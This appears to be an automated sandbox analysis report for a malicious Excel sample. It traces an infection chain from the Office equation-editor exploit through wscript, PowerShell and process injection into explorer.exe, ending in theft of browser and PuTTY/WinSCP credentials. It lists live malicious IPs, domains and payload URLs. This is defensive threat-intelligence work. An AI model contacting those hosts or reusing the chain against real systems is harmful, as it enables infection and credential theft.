behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1448086 Sample: #20240627_Edlen_A.xls Startdate: 27/05/2024 Architecture: WINDOWS Score: 100 71 z2.ink 2->71 91 Snort IDS alert for network traffic 2->91 93 Multi AV Scanner detection for domain / URL 2->93 95 Found malware configuration 2->95 97 21 other signatures 2->97 12 EXCEL.EXE 57 31 2->12         started        16 taskeng.exe 1 2->16         started        signatures3 process4 dnsIp5 81 198.46.177.156, 49162, 49167, 49170 AS-COLOCROSSINGUS United States 12->81 83 z2.ink 54.241.153.192, 49161, 49163, 49164 AMAZON-02US United States 12->83 65 lionsarebeautifult...ionbeautiufl[1].doc, ISO-8859 12->65 dropped 18 wscript.exe 11 12->18         started        22 WINWORD.EXE 339 33 12->22         started        25 rugtucw 16->25         started        file6 process7 dnsIp8 73 paste.ee 18->73 75 paste.ee 188.114.96.3, 443, 49172 CLOUDFLARENETUS European Union 18->75 99 System process connects to network (likely due to code injection or exploit) 18->99 101 Suspicious powershell command line found 18->101 103 Wscript starts Powershell (via cmd or directly) 18->103 113 5 other signatures 18->113 27 powershell.exe 4 18->27         started        77 z2.ink 22->77 55 C:\Users\user\AppData\Roaming\...\z2.ink.url, MS 22->55 dropped 57 C:\Users\user\AppData\Roaming\...\nXPJ.url, MS 22->57 dropped 59 ~WRF{D9BCE685-2557...C-EEF401A63014}.tmp, Composite 22->59 dropped 61 C:\Users\user\AppData\Local\...\1B25204E.doc, ISO-8859 22->61 dropped 105 Microsoft Office launches external ms-search protocol handler (WebDAV) 22->105 107 Office viewer loads remote template 22->107 109 Microsoft Office drops suspicious files 22->109 30 EQNEDT32.EXE 12 22->30         started        file9 111 Connects to a pastebin service (likely for C&C) 73->111 signatures10 process11 file12 131 Suspicious powershell command line found 27->131 133 Suspicious execution chain found 27->133 33 powershell.exe 12 5 27->33         started        67 C:\Users\...\lionarekingofjungleimageshe.vbs, Unicode 30->67 dropped 135 Office equation editor establishes network connection 30->135 137 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 30->137 signatures13 process14 dnsIp15 69 uploaddeimagens.com.br 188.114.97.3, 443, 49173, 49174 CLOUDFLARENETUS European Union 33->69 87 Writes to foreign memory regions 33->87 89 Injects a PE file into a foreign processes 33->89 37 RegAsm.exe 33->37         started        signatures16 process17 signatures18 115 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 37->115 117 Maps a DLL or memory area into another process 37->117 119 Checks if the current machine is a virtual machine (disk enumeration) 37->119 121 Creates a thread in another existing process (thread injection) 37->121 40 explorer.exe 3 5 37->40 injected process19 dnsIp20 79 prolinice.ga 77.232.129.190, 49176, 49177, 80 BSTV-ASRU Russian Federation 40->79 63 C:\Users\user\AppData\Roaming\rugtucw, PE32 40->63 dropped 123 Benign windows process drops PE files 40->123 125 Injects code into the Windows Explorer (explorer.exe) 40->125 127 Writes to foreign memory regions 40->127 129 Hides that the sample has been downloaded from the Internet (zone.identifier) 40->129 45 explorer.exe 6 40->45         started        49 explorer.exe 40->49         started        51 explorer.exe 40->51         started        53 6 other processes 40->53 file21 signatures22 process23 dnsIp24 85 prolinice.ga 45->85 139 System process connects to network (likely due to code injection or exploit) 45->139 141 Found evasive API chain (may stop execution after checking mutex) 45->141 143 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 45->143 147 3 other signatures 45->147 145 Tries to harvest and steal browser information (history, passwords, etc) 49->145 signatures25
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.241.153.192
 z2.ink United States
16509 AMAZON-02US true
77.232.129.190
 prolinice.ga Russian Federation
42145 BSTV-ASRU true
188.114.97.3
 uploaddeimagens.com.br European Union
13335 CLOUDFLARENETUS true
188.114.96.3
 paste.ee European Union
13335 CLOUDFLARENETUS true
198.46.177.156
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
paste.ee 188.114.96.3 true
z2.ink 54.241.153.192 true
uploaddeimagens.com.br 188.114.97.3 true
prolinice.ga 77.232.129.190 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://198.46.177.156/8080/lionarekingofjungleimageshere.bmp true
  • Avira URL Cloud: safe
 unknown
http://198.46.177.156/8080/RBG.txt true
  • 8%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://prolinice.ga/index.php true
  • 2%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://vilendar.ga/index.php true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634 true
  • 13%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://paste.ee/d/Bo3r4 true
  • Avira URL Cloud: safe
 unknown
http://198.46.177.156/xampp/msdc/lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl.doc true
  • 8%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown